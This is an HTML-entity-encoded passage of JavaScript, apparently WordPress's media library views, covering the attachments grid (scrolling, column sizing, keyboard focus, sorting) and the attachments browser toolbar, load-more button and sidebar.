		 * @param infiniteScrolling  Whether to enable infinite scrolling or use
		 *                           the default &quot;load more&quot; button.
		 * @param refreshSensitivity The time in milliseconds to throttle the scroll
		 *                           handler.
		 * @param refreshThreshold   The amount of pixels that should be scrolled before
		 *                           loading more attachments from the server.
		 * @param AttachmentView     The view class to be used for models in the
		 *                           collection.
		 * @param sortable           A jQuery sortable options object
		 *                           ( http://api.jqueryui.com/sortable/ ).
		 * @param resize             A boolean indicating whether or not to listen to
		 *                           resize events.
		 * @param idealColumnWidth   The width in pixels which a column should have when
		 *                           calculating the total number of columns.
		 */
		_.defaults( this.options, {
			infiniteScrolling:  infiniteScrolling || false,
			refreshSensitivity: wp.media.isTouchDevice ? 300 : 200,
			refreshThreshold:   3,
			AttachmentView:     wp.media.view.Attachment,
			sortable:           false,
			resize:             true,
			idealColumnWidth:   $( window ).width() &lt; 640 ? 135 : 150
		});

		this._viewsByCid = {};
		this.$window = $( window );
		this.resizeEvent = &#039;resize.media-modal-columns&#039;;

		this.collection.on( &#039;add&#039;, function( attachment ) {
			this.views.add( this.createAttachmentView( attachment ), {
				at: this.collection.indexOf( attachment )
			});
		}, this );

		/*
		 * Find the view to be removed, delete it and call the remove function to clear
		 * any set event handlers.
		 */
		this.collection.on( &#039;remove&#039;, function( attachment ) {
			var view = this._viewsByCid[ attachment.cid ];
			delete this._viewsByCid[ attachment.cid ];

			if ( view ) {
				view.remove();
			}
		}, this );

		this.collection.on( &#039;reset&#039;, this.render, this );

		this.controller.on( &#039;library:selection:add&#039;, this.attachmentFocus, this );

		if ( this.options.infiniteScrolling ) {
			// Throttle the scroll handler and bind this.
			this.scroll = _.chain( this.scroll ).bind( this ).throttle( this.options.refreshSensitivity ).value();

			this.options.scrollElement = this.options.scrollElement || this.el;
			$( this.options.scrollElement ).on( &#039;scroll&#039;, this.scroll );
		}

		this.initSortable();

		_.bindAll( this, &#039;setColumns&#039; );

		if ( this.options.resize ) {
			this.on( &#039;ready&#039;, this.bindEvents );
			this.controller.on( &#039;open&#039;, this.setColumns );

			/*
			 * Call this.setColumns() after this view has been rendered in the
			 * DOM so attachments get proper width applied.
			 */
			_.defer( this.setColumns, this );
		}
	},

	/**
	 * Listens to the resizeEvent on the window.
	 *
	 * Adjusts the amount of columns accordingly. First removes any existing event
	 * handlers to prevent duplicate listeners.
	 *
	 * @since 4.0.0
	 *
	 * @listens window:resize
	 *
	 * @return {void}
	 */
	bindEvents: function() {
		this.$window.off( this.resizeEvent ).on( this.resizeEvent, _.debounce( this.setColumns, 50 ) );
	},

	/**
	 * Focuses the first item in the collection.
	 *
	 * @since 4.0.0
	 *
	 * @return {void}
	 */
	attachmentFocus: function() {
		/*
		 * @todo When uploading new attachments, this tries to move focus to
		 * the attachments grid. Actually, a progress bar gets initially displayed
		 * and then updated when uploading completes, so focus is lost.
		 * Additionally: this view is used for both the attachments list and
		 * the list of selected attachments in the bottom media toolbar. Thus, when
		 * uploading attachments, it is called twice and returns two different `this`.
		 * `this.columns` is truthy within the modal.
		 */
		if ( this.columns ) {
			// Move focus to the grid list within the modal.
			this.$el.focus();
		}
	},

	/**
	 * Restores focus to the selected item in the collection.
	 *
	 * Moves focus back to the first selected attachment in the grid. Used when
	 * tabbing backwards from the attachment details sidebar.
	 * See media.view.AttachmentsBrowser.
	 *
	 * @since 4.0.0
	 *
	 * @return {void}
	 */
	restoreFocus: function() {
		this.$( &#039;li.selected:first&#039; ).focus();
	},

	/**
	 * Handles events for arrow key presses.
	 *
	 * Focuses the attachment in the direction of the used arrow key if it exists.
	 *
	 * @since 4.0.0
	 *
	 * @param {KeyboardEvent} event The keyboard event that triggered this function.
	 *
	 * @return {void}
	 */
	arrowEvent: function( event ) {
		var attachments = this.$el.children( &#039;li&#039; ),
			perRow = this.columns,
			index = attachments.filter( &#039;:focus&#039; ).index(),
			row = ( index + 1 ) &lt;= perRow ? 1 : Math.ceil( ( index + 1 ) / perRow );

		if ( index === -1 ) {
			return;
		}

		// Left arrow = 37.
		if ( 37 === event.keyCode ) {
			if ( 0 === index ) {
				return;
			}
			attachments.eq( index - 1 ).focus();
		}

		// Up arrow = 38.
		if ( 38 === event.keyCode ) {
			if ( 1 === row ) {
				return;
			}
			attachments.eq( index - perRow ).focus();
		}

		// Right arrow = 39.
		if ( 39 === event.keyCode ) {
			if ( attachments.length === index ) {
				return;
			}
			attachments.eq( index + 1 ).focus();
		}

		// Down arrow = 40.
		if ( 40 === event.keyCode ) {
			if ( Math.ceil( attachments.length / perRow ) === row ) {
				return;
			}
			attachments.eq( index + perRow ).focus();
		}
	},

	/**
	 * Clears any set event handlers.
	 *
	 * @since 3.5.0
	 *
	 * @return {void}
	 */
	dispose: function() {
		this.collection.props.off( null, null, this );
		if ( this.options.resize ) {
			this.$window.off( this.resizeEvent );
		}

		// Call &#039;dispose&#039; directly on the parent class.
		View.prototype.dispose.apply( this, arguments );
	},

	/**
	 * Calculates the amount of columns.
	 *
	 * Calculates the amount of columns and sets it on the data-columns attribute
	 * of .media-frame-content.
	 *
	 * @since 4.0.0
	 *
	 * @return {void}
	 */
	setColumns: function() {
		var prev = this.columns,
			width = this.$el.width();

		if ( width ) {
			this.columns = Math.min( Math.round( width / this.options.idealColumnWidth ), 12 ) || 1;

			if ( ! prev || prev !== this.columns ) {
				this.$el.closest( &#039;.media-frame-content&#039; ).attr( &#039;data-columns&#039;, this.columns );
			}
		}
	},

	/**
	 * Initializes jQuery sortable on the attachment list.
	 *
	 * Fails gracefully if jQuery sortable doesn&#039;t exist or isn&#039;t passed
	 * in the options.
	 *
	 * @since 3.5.0
	 *
	 * @fires collection:reset
	 *
	 * @return {void}
	 */
	initSortable: function() {
		var collection = this.collection;

		if ( ! this.options.sortable || ! $.fn.sortable ) {
			return;
		}

		this.$el.sortable( _.extend({
			// If the `collection` has a `comparator`, disable sorting.
			disabled: !! collection.comparator,

			/*
			 * Change the position of the attachment as soon as the mouse pointer
			 * overlaps a thumbnail.
			 */
			tolerance: &#039;pointer&#039;,

			// Record the initial `index` of the dragged model.
			start: function( event, ui ) {
				ui.item.data(&#039;sortableIndexStart&#039;, ui.item.index());
			},

			/*
			 * Update the model&#039;s index in the collection. Do so silently, as the view
			 * is already accurate.
			 */
			update: function( event, ui ) {
				var model = collection.at( ui.item.data(&#039;sortableIndexStart&#039;) ),
					comparator = collection.comparator;

				// Temporarily disable the comparator to prevent `add`
				// from re-sorting.
				delete collection.comparator;

				// Silently shift the model to its new index.
				collection.remove( model, {
					silent: true
				});
				collection.add( model, {
					silent: true,
					at:     ui.item.index()
				});

				// Restore the comparator.
				collection.comparator = comparator;

				// Fire the `reset` event to ensure other collections sync.
				collection.trigger( &#039;reset&#039;, collection );

				// If the collection is sorted by menu order, update the menu order.
				collection.saveMenuOrder();
			}
		}, this.options.sortable ) );

		/*
		 * If the `orderby` property is changed on the `collection`,
		 * check to see if we have a `comparator`. If so, disable sorting.
		 */
		collection.props.on( &#039;change:orderby&#039;, function() {
			this.$el.sortable( &#039;option&#039;, &#039;disabled&#039;, !! collection.comparator );
		}, this );

		this.collection.props.on( &#039;change:orderby&#039;, this.refreshSortable, this );
		this.refreshSortable();
	},

	/**
	 * Disables jQuery sortable if collection has a comparator or collection.orderby
	 * equals menuOrder.
	 *
	 * @since 3.5.0
	 *
	 * @return {void}
	 */
	refreshSortable: function() {
		if ( ! this.options.sortable || ! $.fn.sortable ) {
			return;
		}

		var collection = this.collection,
			orderby = collection.props.get(&#039;orderby&#039;),
			enabled = &#039;menuOrder&#039; === orderby || ! collection.comparator;

		this.$el.sortable( &#039;option&#039;, &#039;disabled&#039;, ! enabled );
	},

	/**
	 * Creates a new view for an attachment and adds it to _viewsByCid.
	 *
	 * @since 3.5.0
	 *
	 * @param {wp.media.model.Attachment} attachment
	 *
	 * @return {wp.media.View} The created view.
	 */
	createAttachmentView: function( attachment ) {
		var view = new this.options.AttachmentView({
			controller:           this.controller,
			model:                attachment,
			collection:           this.collection,
			selection:            this.options.selection
		});

		return this._viewsByCid[ attachment.cid ] = view;
	},

	/**
	 * Prepares view for display.
	 *
	 * Creates views for every attachment in collection if the collection is not
	 * empty, otherwise clears all views and loads more attachments.
	 *
	 * @since 3.5.0
	 *
	 * @return {void}
	 */
	prepare: function() {
		if ( this.collection.length ) {
			this.views.set( this.collection.map( this.createAttachmentView, this ) );
		} else {
			this.views.unset();
			if ( this.options.infiniteScrolling ) {
				this.collection.more().done( this.scroll );
			}
		}
	},

	/**
	 * Triggers the scroll function to check if we should query for additional
	 * attachments right away.
	 *
	 * @since 3.5.0
	 *
	 * @return {void}
	 */
	ready: function() {
		if ( this.options.infiniteScrolling ) {
			this.scroll();
		}
	},

	/**
	 * Handles scroll events.
	 *
	 * Shows the spinner if we&#039;re close to the bottom. Loads more attachments from
	 * server if we&#039;re {refreshThreshold} times away from the bottom.
	 *
	 * @since 3.5.0
	 *
	 * @return {void}
	 */
	scroll: function() {
		var view = this,
			el = this.options.scrollElement,
			scrollTop = el.scrollTop,
			toolbar;

		/*
		 * The scroll event occurs on the document, but the element that should be
		 * checked is the document body.
		 */
		if ( el === document ) {
			el = document.body;
			scrollTop = $(document).scrollTop();
		}

		if ( ! $(el).is(&#039;:visible&#039;) || ! this.collection.hasMore() ) {
			return;
		}

		toolbar = this.views.parent.toolbar;

		// Show the spinner only if we are close to the bottom.
		if ( el.scrollHeight - ( scrollTop + el.clientHeight ) &lt; el.clientHeight / 3 ) {
			toolbar.get(&#039;spinner&#039;).show();
		}

		if ( el.scrollHeight &lt; scrollTop + ( el.clientHeight * this.options.refreshThreshold ) ) {
			this.collection.more().done(function() {
				view.scroll();
				toolbar.get(&#039;spinner&#039;).hide();
			});
		}
	}
});

module.exports = Attachments;


/***/ },

/***/ 6829
(module) {

var View = wp.media.View,
	mediaTrash = wp.media.view.settings.mediaTrash,
	l10n = wp.media.view.l10n,
	$ = jQuery,
	AttachmentsBrowser,
	infiniteScrolling = wp.media.view.settings.infiniteScrolling,
	__ = wp.i18n.__,
	sprintf = wp.i18n.sprintf;

/**
 * wp.media.view.AttachmentsBrowser
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 *
 * @param {object}         [options]               The options hash passed to the view.
 * @param {boolean|string} [options.filters=false] Which filters to show in the browser&#039;s toolbar.
 *                                                 Accepts &#039;uploaded&#039; and &#039;all&#039;.
 * @param {boolean}        [options.search=true]   Whether to show the search interface in the
 *                                                 browser&#039;s toolbar.
 * @param {boolean}        [options.date=true]     Whether to show the date filter in the
 *                                                 browser&#039;s toolbar.
 * @param {boolean}        [options.display=false] Whether to show the attachments display settings
 *                                                 view in the sidebar.
 * @param {boolean|string} [options.sidebar=true]  Whether to create a sidebar for the browser.
 *                                                 Accepts true, false, and &#039;errors&#039;.
 */
AttachmentsBrowser = View.extend(/** @lends wp.media.view.AttachmentsBrowser.prototype */{
	tagName:   &#039;div&#039;,
	className: &#039;attachments-browser&#039;,

	initialize: function() {
		_.defaults( this.options, {
			filters: false,
			search:  true,
			date:    true,
			display: false,
			sidebar: true,
			AttachmentView: wp.media.view.Attachment.Library
		});

		this.controller.on( &#039;toggle:upload:attachment&#039;, this.toggleUploader, this );
		this.controller.on( &#039;edit:selection&#039;, this.editSelection );

		// In the Media Library, the sidebar is used to display errors before the attachments grid.
		if ( this.options.sidebar &amp;&amp; &#039;errors&#039; === this.options.sidebar ) {
			this.createSidebar();
		}

		/*
		 * In the grid mode (the Media Library), place the Inline Uploader before
		 * other sections so that the visual order and the DOM order match. This way,
		 * the Inline Uploader in the Media Library is right after the &quot;Add New&quot;
		 * button, see ticket #37188.
		 */
		if ( this.controller.isModeActive( &#039;grid&#039; ) ) {
			this.createUploader();

			/*
			 * Create a multi-purpose toolbar. Used as main toolbar in the Media Library
			 * and also for other things, for example the &quot;Drag and drop to reorder&quot; and
			 * &quot;Suggested dimensions&quot; info in the media modal.
			 */
			this.createToolbar();
		} else {
			this.createToolbar();
			this.createUploader();
		}

		// Add a heading before the attachments list.
		this.createAttachmentsHeading();

		// Create the attachments wrapper view.
		this.createAttachmentsWrapperView();

		if ( ! infiniteScrolling ) {
			this.$el.addClass( &#039;has-load-more&#039; );
			this.createLoadMoreView();
		}

		// For accessibility reasons, place the normal sidebar after the attachments, see ticket #36909.
		if ( this.options.sidebar &amp;&amp; &#039;errors&#039; !== this.options.sidebar ) {
			this.createSidebar();
		}

		this.updateContent();

		if ( ! infiniteScrolling ) {
			this.updateLoadMoreView();
		}

		if ( ! this.options.sidebar || &#039;errors&#039; === this.options.sidebar ) {
			this.$el.addClass( &#039;hide-sidebar&#039; );

			if ( &#039;errors&#039; === this.options.sidebar ) {
				this.$el.addClass( &#039;sidebar-for-errors&#039; );
			}
		}

		this.collection.on( &#039;add remove reset&#039;, this.updateContent, this );

		if ( ! infiniteScrolling ) {
			this.collection.on( &#039;add remove reset&#039;, this.updateLoadMoreView, this );
		}

		// The non-cached or cached attachments query has completed.
		this.collection.on( &#039;attachments:received&#039;, this.announceSearchResults, this );
	},

	/**
	 * Updates the `wp.a11y.speak()` ARIA live region with a message to communicate
	 * the number of search results to screen reader users. This function is
	 * debounced because the collection updates multiple times.
	 *
	 * @since 5.3.0
	 *
	 * @return {void}
	 */
	announceSearchResults: _.debounce( function() {
		var count,
			/* translators: Accessibility text. %d: Number of attachments found in a search. */
			mediaFoundHasMoreResultsMessage = __( &#039;Number of media items displayed: %d. Click load more for more results.&#039; );

		if ( infiniteScrolling ) {
			/* translators: Accessibility text. %d: Number of attachments found in a search. */
			mediaFoundHasMoreResultsMessage = __( &#039;Number of media items displayed: %d. Scroll the page for more results.&#039; );
		}

		if ( this.collection.mirroring &amp;&amp; this.collection.mirroring.args.s ) {
			count = this.collection.length;

			if ( 0 === count ) {
				wp.a11y.speak( l10n.noMediaTryNewSearch );
				return;
			}

			if ( this.collection.hasMore() ) {
				wp.a11y.speak( mediaFoundHasMoreResultsMessage.replace( &#039;%d&#039;, count ) );
				return;
			}

			wp.a11y.speak( l10n.mediaFound.replace( &#039;%d&#039;, count ) );
		}
	}, 200 ),

	editSelection: function( modal ) {
		// When editing a selection, move focus to the &quot;Go to library&quot; button.
		modal.$( &#039;.media-button-backToLibrary&#039; ).focus();
	},

	/**
	 * @return {wp.media.view.AttachmentsBrowser} Returns itself to allow chaining.
	 */
	dispose: function() {
		this.options.selection.off( null, null, this );
		View.prototype.dispose.apply( this, arguments );
		return this;
	},

	createToolbar: function() {
		var LibraryViewSwitcher, Filters, toolbarOptions,
			showFilterByType = -1 !== $.inArray( this.options.filters, [ &#039;uploaded&#039;, &#039;all&#039; ] );

		toolbarOptions = {
			controller: this.controller
		};

		if ( this.controller.isModeActive( &#039;grid&#039; ) ) {
			toolbarOptions.className = &#039;media-toolbar wp-filter&#039;;
		}

		/**
		* @member {wp.media.view.Toolbar}
		*/
		this.toolbar = new wp.media.view.Toolbar( toolbarOptions );

		this.views.add( this.toolbar );

		this.toolbar.set( &#039;spinner&#039;, new wp.media.view.Spinner({
			priority: -20
		}) );

		if ( showFilterByType || this.options.date ) {
			/*
			 * Create a h2 heading before the select elements that filter attachments.
			 * This heading is visible in the modal and visually hidden in the grid.
			 */
			this.toolbar.set( &#039;filters-heading&#039;, new wp.media.view.Heading( {
				priority:   -100,
				text:       l10n.filterAttachments,
				level:      &#039;h2&#039;,
				className:  &#039;media-attachments-filter-heading screen-reader-text&#039;
			}).render() );
		}

		if ( showFilterByType ) {
			// &quot;Filters&quot; is a &lt;select&gt;, a label element needs to be rendered before.
			this.toolbar.set( &#039;filtersLabel&#039;, new wp.media.view.Label({
				value: l10n.filterByType,
				attributes: {
					&#039;for&#039;:  &#039;media-attachment-filters&#039;
				},
				priority:   -80
			}).render() );

			if ( &#039;uploaded&#039; === this.options.filters ) {
				this.toolbar.set( &#039;filters&#039;, new wp.media.view.AttachmentFilters.Uploaded({
					controller: this.controller,
					model:      this.collection.props,
					priority:   -80
				}).render() );
			} else {
				Filters = new wp.media.view.AttachmentFilters.All({
					controller: this.controller,
					model:      this.collection.props,
					priority:   -80
				});

				this.toolbar.set( &#039;filters&#039;, Filters.render() );
			}
		}
		
		/*
		 * Feels odd to bring the global media library switcher into the Attachment browser view.
		 * Is this a use case for doAction( &#039;add:toolbar-items:attachments-browser&#039;, this.toolbar );
		 * which the controller can tap into and add this view?
		 */
		if ( this.controller.isModeActive( &#039;grid&#039; ) ) {
			LibraryViewSwitcher = View.extend({
				className: &#039;view-switch media-grid-view-switch&#039;,
				template: wp.template( &#039;media-library-view-switcher&#039;)
			});

			this.toolbar.set( &#039;libraryViewSwitcher&#039;, new LibraryViewSwitcher({
				controller: this.controller,
				priority: -90
			}).render() );

			// DateFilter is a &lt;select&gt;, a label element needs to be rendered before.
			this.toolbar.set( &#039;dateFilter&#039;, new wp.media.view.Label({
				value: l10n.filterByDate,
				attributes: {
					&#039;for&#039;: &#039;media-attachment-date-filters&#039;
				},
				priority: -75
			}).render() );
			this.toolbar.set( &#039;dateFilter&#039;, new wp.media.view.DateFilter({
				controller: this.controller,
				model:      this.collection.props,
				priority:   -75,
			}).render() );

			// BulkSelection is a &lt;div&gt; with subviews, including screen reader text.
			this.toolbar.set( &#039;selectModeToggleButton&#039;, new wp.media.view.SelectModeToggleButton({
				text: l10n.bulkSelect,
				controller: this.controller,
				priority: -70
			}).render() );

			this.toolbar.set( &#039;deleteSelectedButton&#039;, new wp.media.view.DeleteSelectedButton({
				filters: Filters,
				style: &#039;primary&#039;,
				disabled: true,
				text: mediaTrash ? l10n.trashSelected : l10n.deletePermanently,
				controller: this.controller,
				priority: -80,
				click: function() {
					var changed = [], removed = [],
						selection = this.controller.state().get( &#039;selection&#039; ),
						library = this.controller.state().get( &#039;library&#039; );

					if ( ! selection.length ) {
						return;
					}

					if ( ! mediaTrash &amp;&amp; ! window.confirm( l10n.warnBulkDelete ) ) {
						return;
					}

					if ( mediaTrash &amp;&amp;
						&#039;trash&#039; !== selection.at( 0 ).get( &#039;status&#039; ) &amp;&amp;
						! window.confirm( l10n.warnBulkTrash ) ) {

						return;
					}

					selection.each( function( model ) {
						if ( ! model.get( &#039;nonces&#039; )[&#039;delete&#039;] ) {
							removed.push( model );
							return;
						}

						if ( mediaTrash &amp;&amp; &#039;trash&#039; === model.get( &#039;status&#039; ) ) {
							model.set( &#039;status&#039;, &#039;inherit&#039; );
							changed.push( model.save() );
							removed.push( model );
						} else if ( mediaTrash ) {
							model.set( &#039;status&#039;, &#039;trash&#039; );
							changed.push( model.save() );
							removed.push( model );
						} else {
							model.destroy({wait: true});
						}
					} );

					if ( changed.length ) {
						selection.remove( removed );

						$.when.apply( null, changed ).then( _.bind( function() {
							library._requery( true );
							this.controller.trigger( &#039;selection:action:done&#039; );
						}, this ) );
					} else {
						this.controller.trigger( &#039;selection:action:done&#039; );
					}
				}
			}).render() );

			if ( mediaTrash ) {
				this.toolbar.set( &#039;deleteSelectedPermanentlyButton&#039;, new wp.media.view.DeleteSelectedPermanentlyButton({
					filters: Filters,
					style: &#039;link button-link-delete&#039;,
					disabled: true,
					text: l10n.deletePermanently,
					controller: this.controller,
					priority: -55,
					click: function() {
						var removed = [],
							destroy = [],
							selection = this.controller.state().get( &#039;selection&#039; );

						if ( ! selection.length || ! window.confirm( l10n.warnBulkDelete ) ) {
							return;
						}

						selection.each( function( model ) {
							if ( ! model.get( &#039;nonces&#039; )[&#039;delete&#039;] ) {
								removed.push( model );
								return;
							}

							destroy.push( model );
						} );

						if ( removed.length ) {
							selection.remove( removed );
						}

						if ( destroy.length ) {
							$.when.apply( null, destroy.map( function (item) {
								return item.destroy();
							} ) ).then( _.bind( function() {
								this.controller.trigger( &#039;selection:action:done&#039; );
							}, this ) );
						}
					}
				}).render() );
			}

		} else if ( this.options.date ) {
			// DateFilter is a &lt;select&gt;, a label element needs to be rendered before.
			this.toolbar.set( &#039;dateFilterLabel&#039;, new wp.media.view.Label({
				value: l10n.filterByDate,
				attributes: {
					&#039;for&#039;: &#039;media-attachment-date-filters&#039;
				},
				priority: -75
			}).render() );
			this.toolbar.set( &#039;dateFilter&#039;, new wp.media.view.DateFilter({
				controller: this.controller,
				model:      this.collection.props,
				priority:   -75
			}).render() );
		}

		if ( this.options.search ) {
			// Search is an input, a label element needs to be rendered before.
			this.toolbar.set( &#039;searchLabel&#039;, new wp.media.view.Label({
				value: l10n.searchLabel,
				className: &#039;media-search-input-label&#039;,
				attributes: {
					&#039;for&#039;: &#039;media-search-input&#039;
				},
				priority:   60
			}).render() );
			this.toolbar.set( &#039;search&#039;, new wp.media.view.Search({
				controller: this.controller,
				model:      this.collection.props,
				priority:   60
			}).render() );
		}

		if ( this.options.dragInfo ) {
			this.toolbar.set( &#039;dragInfo&#039;, new View({
				el: $( &#039;&lt;div class=&quot;instructions&quot;&gt;&#039; + l10n.dragInfo + &#039;&lt;/div&gt;&#039; )[0],
				priority: -40
			}) );
		}

		if ( this.options.suggestedWidth &amp;&amp; this.options.suggestedHeight ) {
			this.toolbar.set( &#039;suggestedDimensions&#039;, new View({
				el: $( &#039;&lt;div class=&quot;instructions&quot;&gt;&#039; + l10n.suggestedDimensions.replace( &#039;%1$s&#039;, this.options.suggestedWidth ).replace( &#039;%2$s&#039;, this.options.suggestedHeight ) + &#039;&lt;/div&gt;&#039; )[0],
				priority: -40
			}) );
		}
	},

	updateContent: function() {
		var view = this,
			noItemsView;

		if ( this.controller.isModeActive( &#039;grid&#039; ) ) {
			// Usually the media library.
			noItemsView = view.attachmentsNoResults;
		} else {
			// Usually the media modal.
			noItemsView = view.uploader;
		}

		if ( ! this.collection.length ) {
			this.toolbar.get( &#039;spinner&#039; ).show();
			this.toolbar.$( &#039;.media-bg-overlay&#039; ).show();
			this.dfd = this.collection.more().done( function() {
				if ( ! view.collection.length ) {
					noItemsView.$el.removeClass( &#039;hidden&#039; );
				} else {
					noItemsView.$el.addClass( &#039;hidden&#039; );
				}
				view.toolbar.get( &#039;spinner&#039; ).hide();
				view.toolbar.$( &#039;.media-bg-overlay&#039; ).hide();
			} );
		} else {
			noItemsView.$el.addClass( &#039;hidden&#039; );
			view.toolbar.get( &#039;spinner&#039; ).hide();
			this.toolbar.$( &#039;.media-bg-overlay&#039; ).hide();
		}
	},

	createUploader: function() {
		this.uploader = new wp.media.view.UploaderInline({
			controller: this.controller,
			status:     false,
			message:    this.controller.isModeActive( &#039;grid&#039; ) ? &#039;&#039; : l10n.noItemsFound,
			canClose:   this.controller.isModeActive( &#039;grid&#039; )
		});

		this.uploader.$el.addClass( &#039;hidden&#039; );
		this.views.add( this.uploader );
	},

	toggleUploader: function() {
		if ( this.uploader.$el.hasClass( &#039;hidden&#039; ) ) {
			this.uploader.show();
		} else {
			this.uploader.hide();
		}
	},

	/**
	 * Creates the Attachments wrapper view.
	 *
	 * @since 5.8.0
	 *
	 * @return {void}
	 */
	createAttachmentsWrapperView: function() {
		this.attachmentsWrapper = new wp.media.View( {
			className: &#039;attachments-wrapper&#039;
		} );

		// Create the list of attachments.
		this.views.add( this.attachmentsWrapper );
		this.createAttachments();
	},

	createAttachments: function() {
		this.attachments = new wp.media.view.Attachments({
			controller:           this.controller,
			collection:           this.collection,
			selection:            this.options.selection,
			model:                this.model,
			sortable:             this.options.sortable,
			scrollElement:        this.options.scrollElement,
			idealColumnWidth:     this.options.idealColumnWidth,

			// The single `Attachment` view to be used in the `Attachments` view.
			AttachmentView: this.options.AttachmentView
		});

		// Add keydown listener to the instance of the Attachments view.
		this.controller.on( &#039;attachment:keydown:arrow&#039;,     _.bind( this.attachments.arrowEvent, this.attachments ) );
		this.controller.on( &#039;attachment:details:shift-tab&#039;, _.bind( this.attachments.restoreFocus, this.attachments ) );

		this.views.add( &#039;.attachments-wrapper&#039;, this.attachments );

		if ( this.controller.isModeActive( &#039;grid&#039; ) ) {
			this.attachmentsNoResults = new View({
				controller: this.controller,
				tagName: &#039;p&#039;
			});

			this.attachmentsNoResults.$el.addClass( &#039;hidden no-media&#039; );
			this.attachmentsNoResults.$el.html( l10n.noMedia );

			this.views.add( this.attachmentsNoResults );
		}
	},

	/**
	 * Creates the load more button and attachments counter view.
	 *
	 * @since 5.8.0
	 *
	 * @return {void}
	 */
	createLoadMoreView: function() {
		var view = this;

		this.loadMoreWrapper = new View( {
			controller: this.controller,
			className: &#039;load-more-wrapper&#039;
		} );

		this.loadMoreCount = new View( {
			controller: this.controller,
			tagName: &#039;p&#039;,
			className: &#039;load-more-count hidden&#039;
		} );

		this.loadMoreButton = new wp.media.view.Button( {
			text: __( &#039;Load more&#039; ),
			className: &#039;load-more hidden&#039;,
			style: &#039;primary&#039;,
			size: &#039;&#039;,
			click: function() {
				view.loadMoreAttachments();
			}
		} );

		this.loadMoreSpinner = new wp.media.view.Spinner();

		this.loadMoreJumpToFirst = new wp.media.view.Button( {
			text: __( &#039;Jump to first loaded item&#039; ),
			className: &#039;load-more-jump hidden&#039;,
			size: &#039;&#039;,
			click: function() {
				view.jumpToFirstAddedItem();
			}
		} );

		this.views.add( &#039;.attachments-wrapper&#039;, this.loadMoreWrapper );
		this.views.add( &#039;.load-more-wrapper&#039;, this.loadMoreSpinner );
		this.views.add( &#039;.load-more-wrapper&#039;, this.loadMoreCount );
		this.views.add( &#039;.load-more-wrapper&#039;, this.loadMoreButton );
		this.views.add( &#039;.load-more-wrapper&#039;, this.loadMoreJumpToFirst );
	},

	/**
	 * Updates the Load More view. This function is debounced because the
	 * collection updates multiple times at the add, remove, and reset events.
	 * We need it to run only once, after all attachments are added or removed.
	 *
	 * @since 5.8.0
	 *
	 * @return {void}
	 */
	updateLoadMoreView: _.debounce( function() {
		// Ensure the load more view elements are initially hidden at each update.
		this.loadMoreButton.$el.addClass( &#039;hidden&#039; );
		this.loadMoreCount.$el.addClass( &#039;hidden&#039; );
		this.loadMoreJumpToFirst.$el.addClass( &#039;hidden&#039; ).prop( &#039;disabled&#039;, true );

		if ( ! this.collection.getTotalAttachments() ) {
			return;
		}

		if ( this.collection.length ) {
			this.loadMoreCount.$el.text(
				/* translators: 1: Number of displayed attachments, 2: Number of total attachments. */
				sprintf(
					__( &#039;Showing %1$s of %2$s media items&#039; ),
					this.collection.length,
					this.collection.getTotalAttachments()
				)
			);

			this.loadMoreCount.$el.removeClass( &#039;hidden&#039; );
		}

		/*
		 * Notice that while the collection updates multiple times hasMore() may
		 * return true when it&#039;s actually not true.
		 */
		if ( this.collection.hasMore() ) {
			this.loadMoreButton.$el.removeClass( &#039;hidden&#039; );
		}

		// Find the media item to move focus to. The jQuery `eq()` index is zero-based.
		this.firstAddedMediaItem = this.$el.find( &#039;.attachment&#039; ).eq( this.firstAddedMediaItemIndex );

		// If there&#039;s a media item to move focus to, make the &quot;Jump to&quot; button available.
		if ( this.firstAddedMediaItem.length ) {
			this.firstAddedMediaItem.addClass( &#039;new-media&#039; );
			this.loadMoreJumpToFirst.$el.removeClass( &#039;hidden&#039; ).prop( &#039;disabled&#039;, false );
		}

		// If there are new items added, but no more to be added, move focus to Jump button.
		if ( this.firstAddedMediaItem.length &amp;&amp; ! this.collection.hasMore() ) {
			this.loadMoreJumpToFirst.$el.trigger( &#039;focus&#039; );
		}
	}, 10 ),

	/**
	 * Loads more attachments.
	 *
	 * @since 5.8.0
	 *
	 * @return {void}
	 */
	loadMoreAttachments: function() {
		var view = this;

		if ( ! this.collection.hasMore() ) {
			return;
		}

		/*
		 * The collection index is zero-based while the length counts the actual
		 * amount of items. Thus the length is equivalent to the position of the
		 * first added item.
		 */
		this.firstAddedMediaItemIndex = this.collection.length;

		this.$el.addClass( &#039;more-loaded&#039; );
		this.collection.each( function( attachment ) {
			var attach_id = attachment.attributes.id;
			$( &#039;[data-id=&quot;&#039; + attach_id + &#039;&quot;]&#039; ).addClass( &#039;found-media&#039; );
		});

		view.loadMoreSpinner.show();
		this.collection.once( &#039;attachments:received&#039;, function() {
			view.loadMoreSpinner.hide();
		} );
		this.collection.more();
	},

	/**
	 * Moves focus to the first new added item.	.
	 *
	 * @since 5.8.0
	 *
	 * @return {void}
	 */
	jumpToFirstAddedItem: function() {
		// Set focus on first added item.
		this.firstAddedMediaItem.focus();
	},

	createAttachmentsHeading: function() {
		this.attachmentsHeading = new wp.media.view.Heading( {
			text: l10n.attachmentsList,
			level: &#039;h2&#039;,
			className: &#039;media-views-heading screen-reader-text&#039;
		} );
		this.views.add( this.attachmentsHeading );
	},

	createSidebar: function() {
		var options = this.options,
			selection = options.selection,
			sidebar = this.sidebar = new wp.media.view.Sidebar({
				controller: this.controller
			});

		this.views.add( sidebar );

		if ( this.controller.uploader ) {
			sidebar.set( &#039;uploads&#039;, new wp.media.view.UploaderStatus({
				controller: this.controller,
				priority:   40
			}) );
		}

		selection.on( &#039;selection:single&#039;, this.createSingle, this );
		selection.on( &#039;selection:unsingle&#039;, this.disposeSingle, this );

		if ( selection.single() ) {
			this.createSingle();
		}
	},

	createSingle: function() {
		var sidebar = this.sidebar,
			single = this.options.selection.single();

		sidebar.set( &#039;details&#039;, new wp.media.view.Attachment.Details({
			controller: this.controller,
			model:      single,
			priority:   80
		}) );

		sidebar.set( &#039;compat&#039;, new wp.media.view.AttachmentCompat({
			controller: this.controller,
			model:      single,
			priority:   120
		}) );

		if ( this.options.display ) {
			sidebar.set( &#039;display&#039;, new wp.media.view.Settings.AttachmentDisplay({
				controller:   this.controller,
				model:        this.model.display( single ),
				attachment:   single,
				priority:     160,
				userSettings: this.model.get(&#039;displayUserSettings&#039;)
			}) );
		}

		// Show the sidebar on mobile.
		if ( this.model.id === &#039;insert&#039; ) {
			sidebar.$el.addClass( &#039;visible&#039; );
		}
	},

	disposeSingle: function() {
